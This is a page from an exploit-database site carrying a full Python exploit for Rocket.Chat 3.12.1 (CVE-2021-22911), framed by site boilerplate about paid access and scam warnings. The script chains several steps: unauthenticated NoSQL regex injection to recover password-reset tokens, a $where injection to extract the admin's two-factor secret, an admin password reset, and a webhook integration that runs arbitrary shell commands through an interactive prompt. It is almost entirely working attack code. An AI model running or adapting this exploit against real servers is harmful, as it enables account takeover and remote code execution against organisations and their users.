0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

Rocket.Chat 3.12.1 - NoSQL Injection to Remote Code Execution (Unauthenticated) Exploit

Author

enox

Risk

[

Security Risk Critical

]

0day-ID

Category

Date add

CVE

Platform

# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)
# Author: enox
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat

#!/usr/bin/python

import requests
import string
import time
import hashlib
import json
import oathtool
import argparse

parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
args = parser.parse_args()


adminmail = args.a
lowprivmail = args.u
target = args.t


def forgotpassword(email,url):
	payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
	print("[+] Password Reset Email Sent")


def resettoken(url):
	u = url+"/api/v1/method.callAnon/getPasswordPolicy"
	headers={'content-type': 'application/json'}
	token = ""

	num = list(range(0,10))
	string_ints = [str(int) for int in num]
	characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

	while len(token)!= 43:
		for c in characters:
			payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
			r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
			time.sleep(0.5)
			if 'Meteor.Error' not in r.text:
				token += c
				print(f"Got: {token}")

	print(f"[+] Got token : {token}")
	return token


def changingpassword(url,token):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "error" in r.text:
		exit("[-] Wrong token")
	print("[+] Password was changed !")


def twofactor(url,email):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)  
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {email}")

	# Getting 2fa code
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:98]
	print(f"Got the code for 2fa: {code}")
	return code


def changingadminpassword(url,token,code):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "403" in r.text:
		exit("[-] Wrong token")

	print("[+] Admin password changed !")


def rce(url,code,cmd):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	headers={'content-type': 'application/json'}
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print("[+] Succesfully authenticated as administrator")

	# Creating Integration
	payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
	cookies = {'rc_uid': userid,'rc_token': token}
	headers = {'X-User-Id': userid,'X-Auth-Token': token}
	r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
	data = r.text
	data = data.split(',')
	token = data[12]
	token = token[9:57]
	_id = data[18]
	_id = _id[7:24]

	# Triggering RCE
	u = url + '/hooks/' + _id + '/' +token
	r = requests.get(u)
	print(r.text)

############################################################


# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)

## Getting reset token
token = resettoken(target)

## Changing Password
changingpassword(target,token)


# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)


## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)

## Getting reset token
token = resettoken(target)


## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

## Authenticting and triggering rce

while True:
	cmd = input("CMD:> ")
	code = oathtool.generate_otp(secret)
	rce(target,code,cmd)

#  0day.today [2024-11-15]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Rocket.Chat 3.12.1 - NoSQL Injection to Remote Code Execution (Unauthenticated) Exploit

Report Error

Report Error